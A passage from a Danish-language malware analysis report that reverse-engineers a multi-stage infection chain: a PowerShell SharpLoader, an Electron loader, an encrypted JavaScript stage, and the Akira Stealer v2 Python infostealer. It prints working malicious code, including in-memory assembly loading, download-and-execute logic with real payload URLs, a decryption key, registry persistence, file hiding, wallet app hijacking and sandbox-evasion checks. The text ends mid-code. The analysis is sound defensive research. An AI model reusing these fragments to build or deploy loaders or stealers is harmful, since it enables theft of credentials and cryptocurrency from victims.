Kort sagt hæver denne flertrinshåndtering af payloaden barren betydeligt for både signatur- og heuristikbaseret statisk detektion. Uden enten live-eksekvering eller en dybdegående undersøgelse af loaderens adfærd er det usandsynligt, at forsvarere afdækker den indlejrede payload, medmindre de også kender adgangskoden og den præcise afkodningslogik.

4.4 Dynamisk indlæsning af assemblies

Når payloaden i andet trin er dekrypteret, udgør den resulterende byte-array en gyldig .NET-assembly. I stedet for at skrive denne assembly til disk, hvilket er en velkendt indikator for antivirus- og EDR-systemer, kører SharpLoader den direkte i hukommelsen med reflection:

Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });

Teknikken kaldes fileless execution. Den er meget svær at opdage, fordi den:

  • Undgår at røre disken og efterlader ingen filbaserede IOC'er (indicators of compromise)
  • Gør traditionel forensisk indsamling sværere, da ingen binærfil gemmes på disk
  • Omgår statisk signaturbaseret detektion, fordi AV-engines ofte bygger på at scanne filer

Er EntryPoint ikke static, har loaderen en fallback-logik:

MethodInfo method = a.EntryPoint;
if (method != null)
{
    object o = a.CreateInstance(method.Name);
    method.Invoke(o, null);
}

Det sikrer kompatibilitet med assemblies, der kræver et instantieret objekt for at kunne køre (for eksempel public int Main() inde i en klasseinstans). Koden opretter dynamisk en instans af klassen og kalder derefter entry point-metoden.

Kombineret med AMSI-omgåelsen og dekrypteringen i hukommelsen leverer mekanismen den endelige payload til eksekvering på en lydløs og helt filløs måde, et kendetegn ved moderne, undvigende malware.

4.5 Kommandolinjeparametre og fleksibilitet

PowerShell-funktionen Invoke-SharpLoader er bygget til at fungere som en fleksibel wrapper omkring vilkårlige .NET-payloads. Den understøtter dynamisk input af både payloadens placering og argumenter, så den samme loader-instans kan genbruges på tværs af flere operationer eller kampagner.

Understøttede parametre:

  • -location (obligatorisk): Angiver enten en URL eller en lokal filsti til den krypterede payload i andet trin.
  • -password (obligatorisk): Bruges til at aflede AES-dekrypteringsnøglen.
  • -argument, -argument2, -argument3 (valgfri): Sendes direkte videre til Main()-metoden i .NET-assemblyen via reflection.
  • -noArgs: Udløser eksekvering uden at sende parametre videre til payloaden i andet trin.

Internt samles argumenterne og sendes videre sådan her:

object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });

Det betyder, at .NET-payloaden forventes at have en signatur som:

static void Main(string[] args)

eller også falder den elegant tilbage til den parameterløse Main()-variant via fallback-logikken. Den adfærd giver red teams og malwareudviklere mulighed for at bygge alsidige andentrinskomponenter, der kan udføre forskellige operationer afhængigt af inputtet, for eksempel starte et implant, indsamle systemoplysninger eller indlede C2-kommunikation.

Modularitet og konfigurerbarhed af den slags er centrale træk ved avancerede malware-frameworks, og de illustrerer, hvordan scriptbaserede loadere kan opføre sig som yderst tilpasningsdygtige eksekveringsmiljøer for efterfølgende payloads.

4.6 Eksempel på brug i virkeligheden

For at illustrere, hvordan SharpLoader kører i en faktisk kampagne, kan man se på følgende kald, som er observeret i naturen:

Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs

Eksemplet viser det typiske brugsmønster for SharpLoader:

  • Location-argumentet: URL'en peger på en fjernserver, der hoster calc.enc, en skjult payload til andet trin. Endpointet ligger under en legitimt udseende .well-known-mappe, som ofte bruges til validering af HTTPS-certifikater, og det hjælper URL'en med at gå i ét med almindelig webtrafik.
  • Payloadens kendetegn: calc.enc er en tredobbelt obfuskeret fil, Base64-kodet, GZip-komprimeret og AES-krypteret. Obfuskeringspipelinen sikrer, at payloaden er uigennemsigtig for de fleste detektionsmekanismer, medmindre den køres og dekrypteres helt i hukommelsen.
  • Password-argumentet: Strengen UwUFufu1 bruges ved kørsel til at aflede AES-nøglen via SHA-256 og PBKDF2. Uden denne adgangskode kan payloaden ikke dekrypteres, hvilket gør offlineanalyse uden kontekst næsten umulig.
  • Ingen yderligere argumenter: Flaget -noArgs angiver, at der ikke sendes kommandolinjeparametre til den dekrypterede .NET-assembly, hvilket udløser dens standardeksekveringsvej.

Den lydløse kaldekæde rummer SharpLoaders kerneformål: filløs, tilpasningsdygtig og sikker levering af payloads gennem simpel PowerShell-syntaks med maksimal obfuskering og omgåelse.

4.7 Sammenfatning

Konstruktionen Invoke-SharpLoader er et eksempel på en meget forfinet og undvigende teknik til staging af malware, der udnytter indbyggede systemkomponenter, reflection og kryptografi til at arbejde næsten udelukkende i hukommelsen.

Det væsentligste:

  • Omgåelse af AMSI: Direkte patching af AmsiScanBuffer i hukommelsen slår antivirus-inspektionen fra uden at kalde API'er, der kan detekteres.
  • Sikker håndtering af payloads: Hentningen af krypterede og komprimerede payloads til andet trin sikrer fortrolighed og lægger flere lag omgåelse til.
  • Eksekvering kun i hukommelsen: Dekrypterede payloads skrives aldrig til disk, hvilket gør det nærmest umuligt at opdage dem med traditionelle filbaserede scannere.
  • Modulær og genbrugelig arkitektur: Gennem PowerShell-parametre kan SharpLoader genbruges fleksibelt på tværs af kampagner med forskellige payloads og adfærd ved kørsel.

5. Deep Dive: main.exe – Electron-baseret malware loader

Under reverse engineering blev det klart, at main.exe, som Microsoft Defender for Endpoint havde flagget, ikke var en konventionel binærfil, men en Electron-baseret malware loader. Den blev leveret i et arkiv ved navn app-64.7z, som Updater.exe hentede og udpakkede ved kørsel. Da den var udpakket, lignede strukturen og indholdet i høj grad en typisk Electron-applikation.

5.1 At genkende Electron-strukturen

Den udpakkede mappe indeholdt filer som:

  • chrome_100_percent.pak, v8_context_snapshot.bin, d3dcompiler_47.dll
  • LICENSES.chromium og LICENSES.electron
  • En stor main.exe-binærfil (~150 MB)
  • En resources-mappe med app.asar og en sekundær binærfil, elevate.exe

Pakket Windows 64-bit-version af desktopappen

Det er alle stærke indikationer på en Electron-app, der bruger Chromium og Node.js til at pakke JavaScript-baserede desktopapplikationer. Tilstedeværelsen af elevate.exe, en signeret Microsoft-binærfil der ofte bruges til at eskalere rettigheder, gav yderligere anledning til mistanke: den kan misbruges til at starte underprocesser med forhøjede rettigheder.

5.2 Udpakning og statisk analyse (Deep Dive)

I stedet for at køre main.exe valgte jeg en statisk analyse for at undgå at udløse nogen form for live-adfærd. Min oprindelige mistanke om, at main.exe var bygget med Electron, blev bekræftet, da jeg fandt filen app.asar inde i mappen resources. I Electron-apps indeholder dette arkiv al central applikationslogik, som JavaScript-filer, konfiguration (package.json) og assets, pakket i et særligt format af hensyn til ydeevne og obfuskering.

Et .asar-arkiv er i bund og grund en skrivebeskyttet container med høj ydeevne, der minder om .zip, men er optimeret til Electrons runtime. Det er ikke krypteret, men det gør adgangen til koden uigennemsigtig, og det gør statisk analyse sværere, medmindre arkivet pakkes ud.

Til udpakningen brugte jeg det officielle asar-værktøj fra npm. Trinnene var:

npm install -g asar
asar extract app.asar extracted_app

Kommandoerne ovenfor udtrak indholdet til en arbejdsmappe (extracted_app/), som afslørede den egentlige JavaScript-applikationskode. Den omfattede:

  • jscryter.js, input.js, obf.js: Disse scripts udgør malwarens logik. jscryter.js ser ud til at orkestrere leveringen af payloaden, input.js definerer konfigurationskonstanter eller kommandologik, og obf.js er et kraftigt obfuskeret script, der sandsynligvis indeholder kernelogikken i payloaden.
  • package.json, package-lock.json: Definerer runtime-miljøet
  • node_modules/: Indeholder alle afhængigheder som axios, adm-zip, child_process

Det udpakkede indhold gav fuld indsigt i malwarens logik uden at kræve, at den blev kørt, og det var afgørende for at kunne reverse engineere den sikkert. Trinnet bekræftede, at main.exe udelukkende fungerede som runtime-wrapper for de ondsindede scripts, der lå skjult inde i app.asar.

5.3. Hvad den statiske analyse afslørede

Ved at gennemgå koden manuelt bekræftede jeg, at malwarens logik udelukkende var JavaScript-baseret og kørte inde i Electron-runtimen. Scriptene var bygget til at:

  • Hente en krypteret payload (pyth.zip) fra fallback-URL'er
  • Udpakke arkivet med adm-zip
  • Udføre strengerstatning for at injicere bestemte loginoplysninger eller wallet-adresser
  • Starte den resulterende Python-fil (astor.py) via child_process.exec() og python.exe

Afgørende nok indeholdt loaderen også logik til at kopiere Updater.exe til brugerens AppData-mappe, hvis den ikke allerede var der, hvilket forstærkede persistensen og holdt infektionsløkken kørende.

6. Deep Dive: input.js – den krypterede JavaScript-payload-loader

input.js er en central komponent i den analyserede malwarekæde og fungerer som knudepunkt for dekryptering og eksekvering af en krypteret JavaScript-payload. Scriptet skjuler sin kernefunktionalitet bag et stærkt krypteringslag og afslører først sin adfærd under kørsel.

6.1 Krypterings- og dekrypteringsmekanik

Ved første øjekast indeholder input.js meget lidt læsbar kode. Dens primære formål er dog at dekryptere og eksekvere en stor obfuskeret JavaScript-blob, der ligger i selve scriptet.

6.1.1 Dekrypteringslogik

Scriptet definerer en decrypt()-funktion, der tager fire parametre:

  • encdata: De krypterede Base64-kodede data
  • masterkey: En passphrase i klartekst
  • salt: Et kryptografisk salt (Base64)
  • iv: Initialiseringsvektoren til AES-dekrypteringen (Base64)

Dekrypteringen er implementeret med Node.js' indbyggede crypto-modul. Den foregår sådan her:

  1. Nøgleafledning: Scriptet afleder en 256-bit symmetrisk nøgle med PBKDF2 (Password-Based Key Derivation Function 2):
    const key = crypto.pbkdf2Sync(
      masterkey,
      Buffer.from(salt, "base64"),
      100000,
      32,
      "sha512",
    );
    
    • Hashfunktion: SHA-512
    • Iterationer: 100.000
    • Nøglelængde: 32 bytes (256 bit)
    • Salt: Leveres som Base64-afkodet input
  2. AES-256-CBC-dekryptering: Den afledte nøgle bruges derefter til at oprette et AES-decipher-objekt:
    const decipher = crypto.createDecipheriv(
      "aes-256-cbc",
      key,
      Buffer.from(iv, "base64"),
    );
    

    Den krypterede payload dekrypteres med standardtilstanden CBC (Cipher Block Chaining):
    let decrypted = decipher.update(encdata, "base64", "utf8");
    decrypted += decipher.final("utf8");
    
  3. Dynamisk eksekvering: Den dekrypterede JavaScript-kode skrives aldrig til disk. Den eksekveres derimod dynamisk i hukommelsen via Function-konstruktøren:
    new Function("require", decrypted)(require);
    

    Teknikken muliggør filløs eksekvering og mindsker risikoen for at blive opdaget af traditionelle antivirusmotorer, der bygger på scanning af disken.

Tilgangen demonstrerer et lagdelt forsvar mod reverse engineering ved at kombinere nøgleafledning, stærk kryptering og dynamisk eksekvering i hukommelsen.

Nøglemateriale og krypterede data

Scriptet indeholder følgende hardkodede input:

  • Krypterede data: En enorm Base64-kodet blob
  • Masternøgle: 9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs
  • Salt: maXtklzMEZRY9dbul/XPSw== (Base64-kodet)
  • IV: HwK6sOz7FBbL+YsrOxtYUg== (Base64-kodet)

De ligger alle indlejret direkte i kildekoden til input.js.

6.2 Payloadens adfærd efter dekryptering

Når først den indlejrede payload er dekrypteret, bliver den et komplet JavaScript-program, der udfører følgende ondsindede handlinger:

6.2.1 Klargøring af miljøet

Den dekrypterede payload begynder med at sætte sit eksekveringsmiljø op ved hjælp af Node.js' indbyggede moduler. Denne opsætningsfase sikrer, at alle nødvendige stier og arbejdsmapper er klart defineret, før nogen ondsindet adfærd sætter ind.

  • Opslag af den midlertidige mappe: Malwaren kalder os.tmpdir() for at bestemme stien til systemets midlertidige mappe. Det er en udbredt taktik for malware, fordi midlertidige mapper typisk er skrivbare og bliver gransket mindre nøje af endpoint-beskyttelsessystemer.
    const tempDir = os.tmpdir();
    
  • Opbygning af stier: Scriptet opbygger derefter absolutte stier til to vigtige filer:
    • pyth.zip: Arkivet der indeholder den egentlige Python-baserede stealer i andet trin
    • bnd.exe: En valgfri eksekverbar fil, der kan fungere som bagdør til persistens eller som yderligere payload
    const tempFile = path.join(tempDir, "pyth.zip");
    const binderFile = path.join(tempDir, "bnd.exe");
    

Denne opsætning af stier abstraherer den operativsystemspecifikke stisyntaks væk og gør, at malwaren kan arbejde uden problemer på ethvert Windows-system. Den lægger samtidig grunden til de mekanismer til download og udpakning af filer, der følger.

6.2.2 Download af payload med fallback-strategi

Den anden store fase i den dekrypterede JavaScript-payload handler om at hente et ondsindet ZIP-arkiv fra eksterne kilder. Mekanismen er bygget med en fallback-strategi i flere niveauer, der øger robustheden og tilgængeligheden.

  • Primært linkopslag via Rentry.co Scriptet begynder med at slå en dynamisk URL op hos en paste-tjeneste. Det sender en GET-forespørgsel til:
    const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
    

    Den returnerer en URL-streng i klartekst, som peger på den faktiske placering af arkivet pyth.zip. At bruge en omdirigeringsmekanisme som denne er en udbredt obfuskeringsteknik. Den skjuler den egentlige ondsindede URL og gør statisk detektion sværere.
  • Gennemførelse af download Den opslåede URL forespørges derefter med Axios-biblioteket og en response stream:
    const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
    

    Filen skrives til disk som pyth.zip i systemets temp-mappe:
    const writer = fs.createWriteStream(tempFile);
    fileResponse.data.pipe(writer);
    

    Downloaden er pakket ind i en Promise for at sikre, at den er fuldført, før den videre logik kører.
  • Fallback-URL'er Fejler linket fra Rentry, forsøger scriptet med hardkodede reserveplaceringer:
    https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    https://cosmoplanets.net/well-known/pki-validation/pyth.zip
    

    Domænerne er struktureret, så de ser ud som en del af almindelige mapper til TLS-validering, muligvis for at efterligne Let's Encrypt eller stier til domænevalidering og dermed vække mindre mistanke. Hver fallback forsøges med den samme streaming- og filskrivningslogik.
  • Robusthed og obfuskering Fallback-mekanismen sikrer, at malwaren har flere veje til at hente sin payload til andet trin. Brugen af en dynamisk pointer (rentry.co) og flere failover-spejle gør malwaren mere modstandsdygtig over for takedowns, blokering og DNS-sinkholes.

Fasen viser, at malwarens forfattere har planlagt driften omhyggeligt, med lagdelt redundans og velcamoufleret leveringsinfrastruktur.

  • Henter pyth.zip fra den opslåede URL
  • Fejler det, forsøger den med reservespejle:
    • https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    • https://cosmoplanets.net/well-known/pki-validation/pyth.zip

6.2.3 Udpakning og manipulation af payloaden

Når arkivet pyth.zip er hentet og gemt på disken, går malwaren videre med at udpakke indholdet og klargøre det til eksekvering. Det sker med Node.js-biblioteket adm-zip, der gør det muligt at håndtere ZIP-filer programmatisk.

  • Udpakning af ZIP:
    const zip = new AdmZip(tempFile);
    zip.extractAllTo(tempDir, true);
    

    Det udpakker hele arkivets indhold til systemets midlertidige mappe. Flaget true sikrer, at eksisterende filer overskrives.
  • Arkivets indhold: Arkivet pyth.zip indeholder et komplet pakket Python-projekt, heriblandt:
    • En mappestruktur, der ligner en legitim Python-pakke
    • Flere Python-moduler og afhængigheder
    • Nøglefilen astor.py, der ligger i Crypto/Util/astor.py, og som er den primære stealer-payload
  • Erstatning af pladsholdere: Malwaren udfører en dynamisk udskiftning af foruddefinerede pladsholdere i astor.py for at injicere konfigurationsdata, som angriberen styrer, for eksempel:
    • En Discord webhook-URL
    • Wallet-adresser til kryptovaluta (BTC, ETH, DOGE, LTC, XMR med flere)
    • En brugeridentifikator (%USERID%)
    • Et fejlstatusflag (%ERRORSTATUS%)
    fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => {
      let updatedFile = data
        .replace("%DISCORD%", <webhook>)
        .replace("%ADDRESSBTC%", <btc_address>)
        ...
        .replace("%ERRORSTATUS%", displayError ? "true" : "false");
    
      fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8');
    });
    

Denne dynamiske manipulationsfase er afgørende. Ved at udskyde indsættelsen af de angriberstyrede værdier til kørselstidspunktet undgår payloaden statisk detektion, og operatøren kan tilpasse mål og eksfiltrerings-endpoints uden at pakke arkivet om.

  • Erstatter pladsholderstrenge i astor.py:
    • Discord webhook: %DISCORD%
    • Wallet-adresser: %ADDRESSBTC%, %ADDRESSETH% osv.
    • Bruger-ID og fejlflag

6.2.4 Eksekvering af malwaren

  • Når injektionen af pladsholdere i astor.py er gennemført, starter malwaren stealeren via et systemkald
    exec("python.exe Crypto\\Util\\astor.py");
    

Kommandoen køres med Node.js' funktion child_process.exec og starter den indlejrede Python-payload i en separat proces. Netop dette eksekveringsmønster, python.exe med argumentet Crypto\Util\astor.py, blev observeret i de telemetridata, Microsoft Defender for Endpoint indsamlede, og det gør det til en pålidelig detektionsartefakt. I praksis ser eksekveringskæden sådan ud:

Hele malwarens eksekveringskæde, som den blev observeret i telemetrien fra Microsoft Defender for Endpoint, følger denne rækkefølge:

  • main.exe (Electron-baseret container) kalder node.exe
  • node.exe starter cmd.exe
  • cmd.exe starter python.exe
  • python.exe eksekverer filen Crypto\Util\astor.py

6.2.5 Forstærkning af persistens

For at sikre sig en langvarig tilstedeværelse på det inficerede system indeholder den dekrypterede JavaScript-payload logik til at genetablere persistensen ved at kopiere den oprindelige binærfil (Updater.exe) til en skjult placering i brugerens profil.

Målmappen

Filen kopieres til en mappe, der efterligner legitime Windows-komponenter:

%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Placeringen er valgt med omhu:

  • %APPDATA% er skrivbar for almindelige brugere og kræver ingen administratorrettigheder.
  • Mappenavnet efterligner legitime mapper til Microsoft-applikationer, hvilket gør det mindre mistænkeligt.

Kopieringsmekanismen:

Kopieringen bruger Node.js' funktion fs.copyFileSync():

fs.copyFileSync(
  process.env.PORTABLE_EXECUTABLE_FILE,
  path.join(
    process.env.APPDATA,
    "Microsoft",
    "Internet Explorer",
    "UserData",
    "Updater.exe",
  ),
);
  • PORTABLE_EXECUTABLE_FILE er en miljøvariabel, som mange packers (for eksempel Electron) automatisk sætter for at referere til stien til den kørende binærfil.
  • path.join(...) opbygger en fuldt kvalificeret destinationssti på tværs af forskellige operativsystemer.

Logikken kører kun, hvis filen ikke allerede er der, og den fungerer dermed som en selvreparationsmekanisme, der genskaber dropperen, hvis den slettes.

Rollen i malwarekæden Tilstedeværelsen af den kopierede Updater.exe sikrer, at:

  • Loaderen kan udløse sig selv igen på tværs af genstarter af systemet.
  • Hele infektionskæden (der fører til main.exe, node.exe og til sidst astor.py) kan sætte i gang igen uden at læne sig på traditionelle registry-baserede persistensmekanismer, der er mere sandsynlige at have under overvågning.

6.2.6 Valgfri binder-eksekvering

Ud over at hente og køre den primære stealer-payload (astor.py) indeholder den dekrypterede JavaScript-kode også logik til valgfrit at hente og starte en sekundær eksekverbar fil, kaldet "binderen". Komponenten kan bruges til persistens, til at distrahere eller til at udrulle yderligere malwaremoduler.

Betinget eksekvering

Binder-logikken aktiveres kun, hvis et bestemt flag er sat:

enableBinder = true;

I den analyserede sample var værdien som standard sat til false, men logikken ligger fortsat indlejret i payloaden og kan uden videre slås til i en anden kampagne eller variant.

Logikken bag download af binderen

Aktiveres den, forsøger scriptet at hente en ekstern binærfil fra en URL, som pladsholderen %BINDERURL% definerer:

const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
  • Filen bnd.exe gemmes i systemets midlertidige mappe.
  • Ligesom pyth.zip hentes binærfilen med Axios som en stream, så hele binærfilen ikke skal indlæses i hukommelsen.

Eksekveringsstrategi

Efter en gennemført download kalder scriptet den hentede binærfil via cmd.exe, så den kører i en ny shell-kontekst:

exec(`start cmd /c start ${binderFile}`, ...);

For at øge pålideligheden indeholder scriptet retry-logik:

setTimeout(() => {
  exec(...);
}, 5000);

Det sikrer, at malwaren forsøger at starte binærfilen igen efter en kort forsinkelse, også hvis den første eksekvering fejler (for eksempel på grund af systembelastning eller race conditions).

Anvendelser af binderen

Det præcise formål med binder-binærfilen fremgår ikke af netop denne sample (på grund af pladsholder-URL'en), men komponenter af den type bruges typisk til at:

  • Geninstallere eller genstarte de primære malwarekomponenter
  • Vise falske installationsprogrammer eller lokkeapplikationer
  • Udrulle yderligere spyware, bagdøre eller ransomware
  • Ændre systemindstillinger eller slå sikkerhedsfunktioner fra

6.3 Sammenfatning

input.js er en kraftigt obfuskeret, krypteret JavaScript-loader, der bruger kryptografi efter branchestandard (PBKDF2 + AES-256-CBC) til at skjule sit egentlige formål. Efter dekrypteringen fungerer den som en fuldt udrustet loader i andet trin, der:

  • Henter yderligere malware (pyth.zip)
  • Ændrer payloadens adfærd dynamisk
  • Starter det egentlige stealer-script (astor.py)
  • Forstærker persistensen ved at genskabe Updater.exe

Kombinationen af kryptering, dynamisk eksekvering, modulær hentning af payloads og filløs drift viser en yderst avanceret JavaScript-baseret malwarearkitektur, der udnytter Node.js' muligheder inde i en Electron-shell.

7. DeepDive: Akira Stealer v2 (astor.py)

7.1. Funktionaliteten på overordnet niveau

Akira Stealer v2 (astor.py) er en multifunktionel, modulær infostealer skrevet i Python. Den er bygget til at eksfiltrere en bred vifte af følsomme brugerdata fra både Chromium- og Firefox-baserede browsere, kryptowallets, kommunikationsklienter (for eksempel Discord og Telegram) og systemfiler. Den rummer avancerede anti-analysemekanismer, registry-baseret persistens, clipboard hijacking og teknikker til memory injection.

7.2 Persistens og udrulning

7.2.1 Eksekveringskædens kontekst

astor.py kører ikke alene, men er den sidste payload i en angrebskæde med flere trin:

Updater.exe
  └── main.exe (Electron app)
        └── cmd.exe
              └── python.exe astor.py

Den strukturerede eksekveringskæde gør, at hvert trin kan undgå detektion ved at uddelegere den ondsindede funktionalitet til det næste. Updater.exe sætter forløbet i gang og står for at opretholde persistensen.

7.2.2 Registry-baseret persistens

Akira etablerer persistens ved at skrive en registry-nøgle under den aktuelle brugers Run-sti. Det sikrer, at Updater.exe køres ved hver systemstart:

command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
  • Sti: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Værdinavn: Realtek Audio (valgt, så det virker harmløst)
  • Payload-sti: Typisk i AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe

Kommandoen skriver autorun-posten lydløst via PowerShell eller et nativt os.system()-kald.

7.2.3 Skjulning af filen

For yderligere at skjule binærfilen for brugere og simple AV-scanninger markeres filen med attributterne hidden og system:

subprocess.run(["attrib", "+h", "+s", destination_path])
  • +h: Markerer filen som skjult
  • +s: Markerer filen som en beskyttet systemfil

Det fjerner i praksis filen fra de almindelige visninger i Windows Explorer og øger stealth.

7.2.4 Reinfektionsteknikker

Malwaren understøtter selvreplikering og reinfektion gennem Electron application hijacking. Konkret erstatter den arkivet app.asar i Electron-baserede desktop-wallets (for eksempel Exodus og Atomic Wallet), så der køres ondsindet JavaScript, når den legitime app starter.

Logikken leder efter kendte stier til wallet-apps:

path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"

Findes målfilen, bliver den overskrevet med et våbengjort arkiv. Det sikrer persistens, også efter at Updater.exe er ryddet op manuelt.

7.3 Anti-analyse og omgåelse (klassen VmProtect)

7.3.1 Introduktion

I moderne malwarekampagner er det afgørende at undgå analyse i virtualiserede og sandkasseisolerede miljøer for at bevare stealth. Akira Stealer v2 implementerer et omfattende modul til detektion af VM og sandkasse (VmProtect), der aggressivt identificerer analytikerstyrede miljøer og afbryder eksekveringen. Denne rapport dissekerer hver enkelt detektionsteknik, viser de præcise kodeudsnit inklusive de komplette blacklist-definitioner og beskriver den anvendte analysemetode.

7.3.2 Overblik

Klassen VmProtect implementerer robust detektion af VM'er og sandkasser for at afbryde eksekveringen i utide i analysemiljøer. Den understøtter to detektionsniveauer:

  • Level 1: Lette, hurtige tjek
  • Level 2: Dybdegående, omfattende sonderinger

Returnerer VmProtect.isVM(level) værdien True, kalder malwaren sys.exit() og forhindrer dermed videre analyse.

7.3.3 Detektionsniveauer

Funktion Level 1 Level 2
HTTPSimulation ✔️ ✔️
Blacklist over computernavne ✔️ ✔️
Blacklist over brugerkonti ✔️ ✔️
Blacklist over hardware-UUID'er ❌ ✔️
Tjek via public-hosting-API ❌ ✔️
Spor i registry og GPU ❌ ✔️
Task-killing i baggrunden ✔️ ✔️

7.3.4 VmProtect-arkitekturen

Klassen VmProtect eksponerer følgende primære metoder:

  • checkUUID()
  • checkComputerName()
  • checkUsers()
  • checkHosting()
  • checkHTTPSimulation()
  • checkRegistry()
  • killTasks()
  • isVM(level)

Hver metode returnerer en boolean eller udfører omgåelsestrin. Wrapperen isVM samler disse tjek ud fra det angivne niveau.

Metode Udløses af Beskrivelse
checkUUID() isVM(2) Blacklist over WMI-UUID'er
checkComputerName() isVM(1,2) Match på hostname fra miljøet
checkUsers() isVM(1,2) Blacklist over brugernavne
checkHosting() isVM(2) Tjek af IP-adressens hostingudbyder via ip-api.com
checkHTTPSimulation() isVM(1,2) Detektion af HTTPS-aflytning
checkRegistry() isVM(2) Artefakter i registry og GPU-driver
killTasks() isVM(...) spawn Afslutter kendte analyseprocesser
isVM(level) init Samler tjekkene og kalder tråden killTasks()
@staticmethod
def isVM(level: int) -> bool:
    # Always start background task-killer
    Thread(target=VmProtect.killTasks, daemon=True).start()
    if level == 1:
        # Fast path: HTTPS, hostname & user
        return (
            VmProtect.checkHTTPSimulation()
            or VmProtect.checkComputerName()
            or VmProtect.checkUsers()
        )
    if level == 2:
        # Deep scan: includes UUID, hosting, registry & GPU
        try:
            return (
                VmProtect.checkHTTPSimulation()
                or VmProtect.checkUUID()
                or VmProtect.checkComputerName()
                or VmProtect.checkUsers()
                or VmProtect.checkHosting()
                or VmProtect.checkRegistry()
            )
        except:
            return False
    return False

7.3.5 UUID-tjek – at identificere virtuelle maskiner via hardware-UUID

En udbredt taktik i malwarens omgåelse er at tage fingeraftryk af det underliggende hardwaremiljø. En af de tidligste identifikatorer, der kan afsløre en virtuel maskine, er systemets UUID (Universally Unique Identifier). Virtualiseringsplatforme som VMware og VirtualBox genererer ofte forudsigelige eller genbrugte UUID'er, og dem kan malware bruge til at slutte, om den kører i et virtualiseret eller sandkasseisoleret miljø.

@staticmethod
def checkUUID() -> bool:
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid", shell=True,
            capture_output=True
        ).stdout.splitlines()[2].decode().strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

Tjekket bruger værktøjet Windows Management Instrumentation Command-line (WMIC) til at udtrække værtsmaskinens UUID. Den returnerede værdi holdes derefter op mod en kurateret liste over UUID'er, der typisk hører til skabeloner for virtuelle maskiner eller kendte analyseopsætninger.

7.3.6 Tjek af computernavn – at opdage sandkasse- og analysemiljøer via hostname

Systemets hostname, som læses via miljøvariablen %COMPUTERNAME%, afslører ofte spor om miljøet. Analytikere bruger tit standardnavne eller hurtigt genererede hostnavne som "DESKTOP-XXXXXXX", "WIN10ANALYSIS" eller endda navne knyttet til deres interne miljøer. Det udnytter malwaren ved at sammenligne systemets hostname med en blacklist.

@staticmethod
def checkComputerName() -> bool:
    name = os.getenv("computername", "").lower()
    return name in VmProtect.BLACKLISTED_COMPUTERNAMES

BLACKLISTED_COMPUTERNAMES = (
    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
    'desktop-vkeons4','ntt-eff-2w11wss',
    # ... dozens more entries ...
)

Er der et match, kan malwaren vælge at standse eksekveringen eller udrulle en falsk payload og dermed undgå en fuld adfærdsanalyse.

7.3.7 Tjek af brugerkonto – profilering af analytiker- og standardkonti

En anden heuristik består i at vurdere det brugernavn, malwaren kører under. Mange skabeloner til virtuelle maskiner og sandkasser genbruger almindelige brugernavne som "Abby", "Test" eller "wdagutilityaccount". Navnene har lav entropi og er ofte hardkodede i sandkassemiljøer med åben kildekode.

@staticmethod
def checkUsers() -> bool:
    user = os.getlogin().lower()
    return user in VmProtect.BLACKLISTED_USERS

BLACKLISTED_USERS = (
    'wdagutilityaccount','abby','peter wilson','hmarc',
    'a.monaldo','tvm',
    # ... 30+ more entries ...
)

Tjekket forbedrer detektionen ved at se på brugerkonteksten, som kan være uændret selv på tværs af genstarter eller snapshots af virtuelle maskiner.

7.3.8 Hosting-tjek – at opdage offentlig cloudinfrastruktur

Noget malware bruger eksterne IP-efterretningstjenester til at få bekræftet, om det inficerede system står i et kendt datacenter eller hos en kendt cloududbyder. I dette tilfælde sendes en simpel HTTP-forespørgsel til ip-api.com med spørgsmålet, om IP-adressen er flagget som "hosting".

@staticmethod
def checkHosting() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET',
            'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

Det gør, at malwaren kan afgøre, om den kører på infrastruktur, der tilhører Microsoft Azure, AWS, DigitalOcean og lignende, hvilket er et advarselstegn om sandkasseanalyse.

7.3.9 HTTPS-simuleringstjek – sondering efter SSL-aflytning

For at identificere miljøer med SSL-inspektion, som er udbredt i virksomheds- og forskningsnetværk, sender malwaren en harmløs HTTPS-forespørgsel til et tilfældigt subdomæne under .in. Fejler forbindelsen på grund af DNS-filtrering, aflytningsproxyer eller mislykket certificate pinning, kan det være et signal om, at malwaren bliver analyseret.

@staticmethod
def checkHTTPSimulation() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
    except:
        return False
    return True

Den diskrete fremgangsmåde tester netværksvejens integritet uden at udløse alarmer eller kræve dedikeret infrastruktur.

7.3.10 Tjek af registry og GPU-driver – at opdage virtuelle GPU-signaturer

Nogle virtuelle miljøer forrådes af registry-nøgler eller beskrivelser af GPU-driveren. Akira kører en dobbelt strategi: den forespørger registry-poster knyttet til grafiksubsystemet og undersøger separat output fra wmic for mistænkelige GPU-strenge.

@staticmethod
def checkRegistry() -> bool:
    r1 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\DriverDesc 2",
        capture_output=True, shell=True)
    r2 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\ProviderName 2",
        capture_output=True, shell=True)

    # GPU name check
    gpu_out = subprocess.run(
